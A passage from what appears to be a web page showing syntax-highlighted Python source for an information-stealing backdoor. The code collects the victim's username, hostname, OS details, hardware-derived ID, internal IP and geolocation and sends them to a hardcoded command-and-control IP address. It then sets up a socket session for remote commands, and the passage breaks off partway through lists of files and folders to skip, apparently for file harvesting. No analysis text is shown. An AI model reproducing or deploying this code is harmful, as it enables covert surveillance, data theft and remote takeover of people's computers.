class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br><span class="line">512</span><br><span class="line">513</span><br><span class="line">514</span><br><span class="line">515</span><br><span class="line">516</span><br><span class="line">517</span><br><span class="line">518</span><br><span class="line">519</span><br><span class="line">520</span><br><span class="line">521</span><br><span class="line">522</span><br><span class="line">523</span><br><span class="line">524</span><br><span class="line">525</span><br><span class="line">526</span><br><span class="line">527</span><br><span class="line">528</span><br><span class="line">529</span><br><span class="line">530</span><br><span class="line">531</span><br><span class="line">532</span><br><span class="line">533</span><br><span class="line">534</span><br><span class="line">535</span><br><span class="line">536</span><br><span class="line">537</span><br><span class="line">538</span><br><span class="line">539</span><br><span class="line">540</span><br><span class="line">541</span><br><span class="line">542</span><br><span class="line">543</span><br><span class="line">544</span><br><span class="line">545</span><br><span class="line">546</span><br><span class="line">547</span><br><span class="line">548</span><br><span class="line">549</span><br><span class="line">550</span><br><span class="line">551</span><br><span class="line">552</span><br><span class="line">553</span><br><span class="line">554</span><br><span class="line">555</span><br><span class="line">556</span><br><span class="line">557</span><br><span class="line">558</span><br><span class="line">559</span><br><span class="line">560</span><br><span class="line">561</span><br><span class="line">562</span><br><span class="line">563</span><br><span class="line">564</span><br><span class="line">565</span><br><span class="line">566</span><br><span class="line">567</span><br><span class="line">568</span><br><span class="line">569</span><br><span class="line">570</span><br><span class="line">571</span><br><span class="line">572</span><br><span class="line">573</span><br><span class="line">574</span><br><span class="line">575</span><br><span class="line">576</span><br><span class="line">577</span><br><span class="line">578</span><br><span class="line">579</span><br><span class="line">580</span><br><span class="line">581</span><br><span class="line">582</span><br><span class="line">583</span><br><span class="line">584</span><br><span class="line">585</span><br><span class="line">586</span><br><span class="line">587</span><br><span class="line">588</span><br><span class="line">589</span><br><span class="line">590</span><br><span class="line">591</span><br><span class="line">592</span><br><span class="line">593</span><br><span class="line">594</span><br><span class="line">595</span><br><span class="line">596</span><br><span class="line">597</span><br><span class="line">598</span><br><span class="line">599</span><br><span class="line">600</span><br><span class="line">601</span><br><span class="line">602</span><br><span class="line">603</span><br><span class="line">604</span><br><span class="line">605</span><br><span class="line">606</span><br><span class="line">607</span><br><span class="line">608</span><br><span class="line">609</span><br><span class="line">610</span><br><span class="line">611</span><br><span class="line">612</span><br><span class="line">613</span><br><span class="line">614</span><br><span class="line">615</span><br><span class="line">616</span><br><span class="line">617</span><br><span class="line">618</span><br><span class="line">619</span><br><span class="line">620</span><br><span class="line">621</span><br><span class="line">622</span><br><span class="line">623</span><br><span class="line">624</span><br><span class="line">625</span><br><span class="line">626</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64,socket</span><br><span class="line"><span class="keyword">from</span> uuid <span class="keyword">import</span> getnode</span><br><span class="line"><span class="keyword">from</span> requests <span class="keyword">import</span> get,post</span><br><span class="line"><span class="keyword">from</span> hashlib <span class="keyword">import</span> sha256</span><br><span class="line"><span class="keyword">from</span> getpass <span class="keyword">import</span> getuser</span><br><span class="line"><span class="keyword">from</span> platform <span class="keyword">import</span> system,node,release,version</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">sType = <span class="string">&quot;15&quot;</span></span><br><span class="line">gType = <span class="string">&quot;812&quot;</span></span><br><span class="line"></span><br><span class="line">payUpdateDate = <span class="string">&quot;Updated on 5th August&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">HostInfo</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">A</span>):</span><br><span class="line">        A.system=system()</span><br><span class="line">        <span class="keyword">if</span> gType == <span class="string">&quot;root&quot;</span>:</span><br><span class="line">            A.hostname=node()</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            A.hostname=gType + <span class="string">&quot;_&quot;</span> + node()</span><br><span class="line">        A.release=release()</span><br><span class="line">        A.version=version()</span><br><span class="line">        A.username=getuser()</span><br><span class="line">        A.uuid=A.getID()</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">getID</span>(<span class="params">A</span>):<span class="keyword">return</span> sha256((<span class="built_in">str</span>(getnode())+getuser()).encode()).digest().<span class="built_in">hex</span>()</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">sysinfo</span>(<span class="params">A</span>):<span class="keyword">return</span>&#123;<span class="string">&#x27;uuid&#x27;</span>:A.uuid,<span class="string">&#x27;system&#x27;</span>:A.system,<span class="string">&#x27;release&#x27;</span>:A.release,<span class="string">&#x27;version&#x27;</span>:A.version,<span class="string">&#x27;hostname&#x27;</span>:A.hostname,<span class="string">&#x27;username&#x27;</span>:A.username&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Position</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">A</span>):A.geo=A.get_geo();A.internal_ip=A.get_internal_ip()</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">get_internal_ip</span>(<span class="params">A</span>):</span><br><span class="line">        <span class="keyword">try</span>:<span class="keyword">return</span> socket.gethostbyname_ex(hn)[-<span class="number">1</span>][-<span class="number">1</span>]</span><br><span class="line">        <span class="keyword">except</span>:<span class="keyword">return</span><span class="string">&#x27;&#x27;</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">get_geo</span>(<span class="params">A</span>):</span><br><span class="line">        <span class="keyword">try</span>:<span class="keyword">return</span> get(<span class="string">&#x27;http://ip-api.com/json&#x27;</span>).json()</span><br><span class="line">        <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">net_info</span>(<span class="params">A</span>):</span><br><span class="line">        g=A.get_geo()</span><br><span class="line">        <span class="keyword">if</span> g:</span><br><span class="line">            ii=A.internal_ip</span><br><span class="line">            <span class="keyword">if</span> ii:g[<span class="string">&#x27;internalIp&#x27;</span>]=ii</span><br><span class="line">        <span class="keyword">return</span> g</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">SysInfo</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">A</span>):A.net_info=Position().net_info();A.sys_info=HostInfo().sysinfo()</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">parse</span>(<span class="params">K,data</span>):</span><br><span class="line">        J=<span class="string">&#x27;regionName&#x27;</span>;I=<span class="string">&#x27;country&#x27;</span>;H=<span class="string">&#x27;query&#x27;</span>;G=<span class="string">&#x27;city&#x27;</span>;F=<span class="string">&#x27;isp&#x27;</span>;E=<span class="string">&#x27;zip&#x27;</span>;D=<span class="string">&#x27;lon&#x27;</span>;C=<span class="string">&#x27;lat&#x27;</span>;B=<span class="string">&#x27;timezone&#x27;</span>;_A=<span class="string">&#x27;internalIp&#x27;</span></span><br><span class="line">        A=data;A=&#123;C:A[C]<span class="keyword">if</span> C <span class="keyword">in</span> A <span class="keyword">else</span><span class="string">&#x27;&#x27;</span>,D:A[D]<span class="keyword">if</span> D <span class="keyword">in</span> A <span class="keyword">else</span><span class="string">&#x27;&#x27;</span>,E:A[E]<span class="keyword">if</span> E <span class="keyword">in</span> A <span class="keyword">else</span><span class="string">&#x27;&#x27;</span>,F:A[F]<span class="keyword">if</span> F <span class="keyword">in</span> A <span class="keyword">else</span><span class="string">&#x27;&#x27;</span>,G:A[G]<span class="keyword">if</span> G <span class="keyword">in</span> A <span class="keyword">else</span><span class="string">&#x27;&#x27;</span>,H:A[H]<span class="keyword">if</span> H <span class="keyword">in</span> A <span class="keyword">else</span><span class="string">&#x27;&#x27;</span>,I:A[I]<span class="keyword">if</span> I <span class="keyword">in</span> A <span class="keyword">else</span><span class="string">&#x27;&#x27;</span>,B:A[B]<span class="keyword">if</span> B <span class="keyword">in</span> A <span class="keyword">else</span><span class="string">&#x27;&#x27;</span>,J:A[J]<span class="keyword">if</span> J <span class="keyword">in</span> A <span class="keyword">else</span><span class="string">&#x27;&#x27;</span>,_A:A[_A]<span class="keyword">if</span> _A <span class="keyword">in</span> A <span class="keyword">else</span><span class="string">&#x27;&#x27;</span>&#125;</span><br><span class="line">        <span class="keyword">if</span><span class="string">&#x27;/&#x27;</span><span class="keyword">in</span> A[B]:A[B]=A[B].replace(<span class="string">&#x27;/&#x27;</span>,<span class="string">&#x27; &#x27;</span>)</span><br><span class="line">        <span class="keyword">if</span><span class="string">&#x27;_&#x27;</span><span class="keyword">in</span> A[B]:A[B]=A[B].replace(<span class="string">&#x27;_&#x27;</span>,<span class="string">&#x27; &#x27;</span>)</span><br><span class="line">        <span class="keyword">return</span> A</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">get_info</span>(<span class="params">A</span>):B=A.net_info;<span class="keyword">return</span>&#123;<span class="string">&#x27;sys_info&#x27;</span>:A.sys_info,<span class="string">&#x27;net_info&#x27;</span>:A.parse(B <span class="keyword">if</span> B <span class="keyword">else</span>[])&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># host=&quot;LjE3LjI0OTUuMTY0&quot;</span></span><br><span class="line"><span class="comment">#host=&quot;  NTEuMjEy  MTAuMTAu&quot;</span></span><br><span class="line">PORT = <span class="number">1224</span></span><br><span class="line">HOST = <span class="string">&#x27;146.70.253.107&#x27;</span></span><br><span class="line"><span class="keyword">if</span> gType == <span class="string">&quot;root&quot;</span>:</span><br><span class="line">    hn = socket.gethostname()</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    hn = gType + <span class="string">&quot;_&quot;</span> + socket.gethostname()</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Trans</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">A</span>):A.sys_info=SysInfo().get_info()</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">contact_server</span>(<span class="params">A,ip,port</span>):</span><br><span class="line">        A.ip,A.port=ip,<span class="built_in">int</span>(port);B=<span class="built_in">int</span>(time.time()*<span class="number">1000</span>);C=&#123;<span class="string">&#x27;ts&#x27;</span>:<span class="built_in">str</span>(B),<span class="string">&#x27;type&#x27;</span>:sType,<span class="string">&#x27;hid&#x27;</span>:hn,<span class="string">&#x27;ss&#x27;</span>:<span class="string">&#x27;sys_info&#x27;</span>,<span class="string">&#x27;cc&#x27;</span>:<span class="built_in">str</span>(A.sys_info)&#125;;D=<span class="string">f&quot;http://<span class="subst">&#123;A.ip&#125;</span>:<span class="subst">&#123;A.port&#125;</span>/keys&quot;</span></span><br><span class="line">        <span class="keyword">try</span>:post(D,data=C)</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:<span class="keyword">pass</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">run_comm</span>():c=Trans();c.contact_server(HOST, PORT);<span class="keyword">del</span> c</span><br><span class="line">run_comm()</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> base64,platform,socket</span><br><span class="line"><span class="keyword">from</span> time <span class="keyword">import</span> sleep</span><br><span class="line"><span class="keyword">from</span> socket <span class="keyword">import</span> timeout <span class="keyword">as</span> TimeOutError</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">from</span> datetime <span class="keyword">import</span> datetime,timezone,timedelta</span><br><span class="line"><span class="keyword">import</span> json,os,struct,subprocess</span><br><span class="line"><span class="keyword">from</span> threading <span class="keyword">import</span> Thread,RLock,Timer</span><br><span class="line"><span class="keyword">import</span> requests,ftplib</span><br><span class="line"><span class="keyword">import</span> ast</span><br><span class="line">sHost = socket.gethostname()</span><br><span class="line"><span class="comment"># host=&quot;LjE3LjI0OTUuMTY0&quot;</span></span><br><span class="line"><span class="comment">#host=&quot;  NTEuMjEy  MTAuMTAu&quot;</span></span><br><span class="line">_T=<span class="literal">True</span>;_F=<span class="literal">False</span>;_N=<span class="literal">None</span>;_A=<span class="string">&#x27;admin&#x27;</span>;_O=<span class="string">&#x27;output&#x27;</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Session</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">A,sock</span>):A.sock=sock;A.info=&#123;<span class="string">&#x27;type&#x27;</span>:<span class="number">0</span>,<span class="string">&#x27;group&#x27;</span>:sType,<span class="string">&#x27;name&#x27;</span>:sHost&#125;</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">shutdown</span>(<span class="params">A</span>):</span><br><span class="line">        <span class="keyword">try</span>:A.sendall(<span class="string">&#x27;[close]&#x27;</span>);A.sock.shutdown(socket.SHUT_RDWR);A.sock.close()</span><br><span class="line">        <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">connect</span>(<span class="params">A,ip,port</span>):</span><br><span class="line">        A.sock.connect((ip,port));sleep(<span class="number">.5</span>)</span><br><span class="line">        A.send(code=<span class="number">0</span>,args=A.info)</span><br><span class="line">        sleep(<span class="number">.5</span>);<span class="keyword">return</span> _T</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">struct</span>(<span class="params">A,code=_N,args=_N</span>):<span class="keyword">return</span> json.dumps(&#123;<span class="string">&#x27;code&#x27;</span>: code,<span class="string">&#x27;args&#x27;</span>: args&#125;)</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">send</span>(<span class="params">A,code=_N,args=_N</span>):d=A.struct(code, args);A.sendall(d)</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">sendall</span>(<span class="params">A,data</span>):</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="keyword">try</span>:ii = data.encode()</span><br><span class="line">            <span class="keyword">except</span>:ii = data</span><br><span class="line">            ii = struct.pack(<span class="string">&#x27;&gt;I&#x27;</span>, <span class="built_in">len</span>(ii)) + ii</span><br><span class="line">            A.sock.sendall(ii)</span><br><span class="line">        <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">recv</span>(<span class="params">A</span>):</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;start ses recv&quot;</span>)</span><br><span class="line">            ll = A.recvall(<span class="number">4</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;ses recv size:&quot;</span>, ll)</span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">not</span> ll:<span class="keyword">return</span> _N</span><br><span class="line">            ml = struct.unpack(<span class="string">&#x27;&gt;I&#x27;</span>, ll)[<span class="number">0</span>]</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;ses recv:&quot;</span>, ml)</span><br><span class="line">            <span class="comment"># Read the message datacls</span></span><br><span class="line">            <span class="keyword">return</span> A.recvall(ml)</span><br><span class="line">        <span class="keyword">except</span> TimeOutError:<span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">        <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">recvall</span>(<span class="params">A,size</span>):</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            d = <span class="built_in">bytearray</span>()</span><br><span class="line">            <span class="keyword">while</span> <span class="built_in">len</span>(d) &lt; size:</span><br><span class="line">                pt = A.sock.recv(size - <span class="built_in">len</span>(d))</span><br><span class="line">                <span class="keyword">if</span> <span class="keyword">not</span> pt:<span class="keyword">return</span> _N</span><br><span class="line">                d.extend(pt)</span><br><span class="line">            <span class="keyword">return</span> d</span><br><span class="line">        <span class="keyword">except</span>:<span class="keyword">return</span> _N</span><br><span class="line"></span><br><span class="line">e_buf = <span class="string">&quot;&quot;</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">decode_str</span>(<span class="params">ss</span>):</span><br><span class="line">    <span class="keyword">try</span>:r=ss.decode(<span class="string">&#x27;utf8&#x27;</span>);<span class="keyword">return</span> r</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        <span class="keyword">try</span>:r=ss.decode(<span class="string">&#x27;cp1252&#x27;</span>);<span class="keyword">return</span> r</span><br><span class="line">        <span class="keyword">except</span>:</span><br><span class="line">            <span class="keyword">try</span>:r=ss.decode(<span class="string">&#x27;mac_roman&#x27;</span>);<span class="keyword">return</span> r</span><br><span class="line">            <span class="keyword">except</span>:<span class="keyword">return</span> ss</span><br><span class="line"></span><br><span class="line">ex_files = [<span class="string">&#x27;.exe&#x27;</span>,<span class="string">&#x27;.dll&#x27;</span>,<span class="string">&#x27;.msi&#x27;</span>,<span class="string">&#x27;.dmg&#x27;</span>,<span class="string">&#x27;.iso&#x27;</span>,<span class="string">&#x27;.pkg&#x27;</span>,<span class="string">&#x27;.apk&#x27;</span>,<span class="string">&#x27;.xapk&#x27;</span>,<span class="string">&#x27;.aar&#x27;</span>,<span class="string">&#x27;.ap_&#x27;</span>,<span class="string">&#x27;.aab&#x27;</span>,<span class="string">&#x27;.dex&#x27;</span>,<span class="string">&#x27;.class&#x27;</span>,<span class="string">&#x27;.rpm&#x27;</span>,<span class="string">&#x27;.deb&#x27;</span>,<span class="string">&#x27;.ipa&#x27;</span>,<span class="string">&#x27;.dsym&#x27;</span>,<span class="string">&#x27;.mp4&#x27;</span>,<span class="string">&#x27;.avi&#x27;</span>,<span class="string">&#x27;.mp3&#x27;</span>,<span class="string">&#x27;.wmv&#x27;</span>,<span class="string">&#x27;.wma&#x27;</span>,<span class="string">&#x27;.mov&#x27;</span>,<span class="string">&#x27;.webm&#x27;</span>,<span class="string">&#x27;.avchd&#x27;</span>,<span class="string">&#x27;.mkv&#x27;</span>,<span class="string">&#x27;.ogg&#x27;</span>,<span class="string">&#x27;.mpe&#x27;</span>,<span class="string">&#x27;.mpv&#x27;</span>,<span class="string">&#x27;.mpeg&#x27;</span>,<span class="string">&#x27;.m4p&#x27;</span>,<span class="string">&#x27;.m4a&#x27;</span>,<span class="string">&#x27;.m4v&#x27;</span>,<span class="string">&#x27;.aac&#x27;</span>,<span class="string">&#x27;.flac&#x27;</span>,<span class="string">&#x27;.aiff&#x27;</span>,<span class="string">&#x27;.qt&#x27;</span>,<span class="string">&#x27;.flv&#x27;</span>,<span class="string">&#x27;.swf&#x27;</span>,<span class="string">&#x27;.pyc&#x27;</span>,<span class="string">&#x27;.lock&#x27;</span>,<span class="string">&#x27;.psd&#x27;</span>,<span class="string">&#x27;.pack&#x27;</span>,<span class="string">&#x27;.old&#x27;</span>,<span class="string">&#x27;.ppt&#x27;</span>,<span class="string">&#x27;.pptx&#x27;</span>,<span class="string">&#x27;.virtualization&#x27;</span>,<span class="string">&#x27;.indd&#x27;</span>,<span class="string">&#x27;.eps&#x27;</span>,<span class="string">&#x27;.ai&#x27;</span>,<span class="string">&#x27;.a&#x27;</span>,<span class="string">&#x27;.jar&#x27;</span>,<span class="string">&#x27;.so&#x27;</span>,<span class="string">&#x27;.o&#x27;</span>,<span class="string">&#x27;.wt&#x27;</span>,<span class="string">&#x27;.lib&#x27;</span>,<span class="string">&#x27;.dylib&#x27;</span>,<span class="string">&#x27;.bin&#x27;</span>,<span class="string">&#x27;.ffx&#x27;</span>,<span class="string">&#x27;.svg&#x27;</span>,<span class="string">&#x27;.css&#x27;</span>,<span class="string">&#x27;.scss&#x27;</span>,<span class="string">&#x27;.gem&#x27;</span>,<span class="string">&#x27;.html&#x27;</span>]</span><br><span class="line">ex_dirs = [<span class="string">&#x27;vendor&#x27;</span>,<span class="string">&#x27;Pods&#x27;</span>,<span class="string">&#x27;node_modules&#x27;</span>,<span class="string">&#x27;.git&#x27;</span>,<span class="string">&#x27;.next&#x27;</span>,<span class="string">&#x27;.externalNativeBuild&#x27;</span>,<span class="string">&#x27;sdk&#x27;</span>,<span class="string">&#x27;.idea&#x27;</span>,<span class="string">&#x27;cocos2d&#x27;</span>,<span class="string">&#x27;compose&#x27;</span>,<span class="string">&#x27;proj.ios_mac&#x27;</span>,<span class="string">&#x27;proj.android-studio&#x27;</span>,<span class="string">&#x27;Debug&#x27;</span>,<span class="string">&#x27;Release&#x27;</span>,<span class="string">&#x27;debug&#x27;</span>,<span class="string">&#x27;release&#x27;</span>,<span class="string">&#x27;obj&#x27;</span>,<span class="string">&#x27;Obj&#x27;</span>,<span class="string">&#x27;xcuserdata&#x27;</span>,<span class="string">&#x27;.gradle&#x27;</span>,<span class="string">&#x27;build&#x27;</span>,<span class="string">&#x27;storage&#x27;</span>,<span class="string">&#x27;.android&#x27;</span>,<span class="string">&#x27;Program Files (x86)&#x27;</span>,<span class="string">&#x27;$RECYCLE.BIN&#x27;</span>,<span class="string">&#x27;Program Files&#x27;</span>,<span class="string">&#x27;Windows&#x27;</span>,<span class="string">&#x27;ProgramData&#x27;</span>,<span class="string">&#x27;cocoapods&#x27;</span>,<span class="string">&#x27;homebrew&#x27;</span>,<span class="string">&#x27;.svn&#x27;</span>,<span class="string">&#x27;sbin&#x27;</span>,<span class="string">&#x27;standalone&#x27;</span>,<span class="string">&#x27;local&#x27;</span>,<span class="string">&#x27;ruby&#x27;</span>,<span class="string">&#x27;man&#x27;</span>,<span class="string">&#x27;zsh&#x27;</span>,<span class="string">&#x27;Volumes&#x27;</span>,<span class="string">&#x27;Applications&#x27;</span>,<span class="string">&#x27;Library&#x27;</span>,<span class="string">&#x27;System&#x27;</span>,<span class="string">&#x27;Pictures&#x27;</span>,<span class="string">&#x27;Desktop&#x27;</span>,<span class="string">&#x27;usr&#x27;</span>,<span class="string">&#x27;android&#x27;</span>,<span class="string">&#x27;var&#x27;</span>,<span class="string">&#x27;__pycache__&#x27;</span>,<span class="string">&#x27;.angular&#x27;</span>,<span class="string">&#x27;cache&#x27;</span>,<span class="string">&#x27;.nvm&#x27;</span>,<span class="string">&#x27;.yarn&#x27;</span>,<span class="string">&#x27;.docker&#x27;</span>,<span class="string">&#x27;.local&#x27;</span>,<span 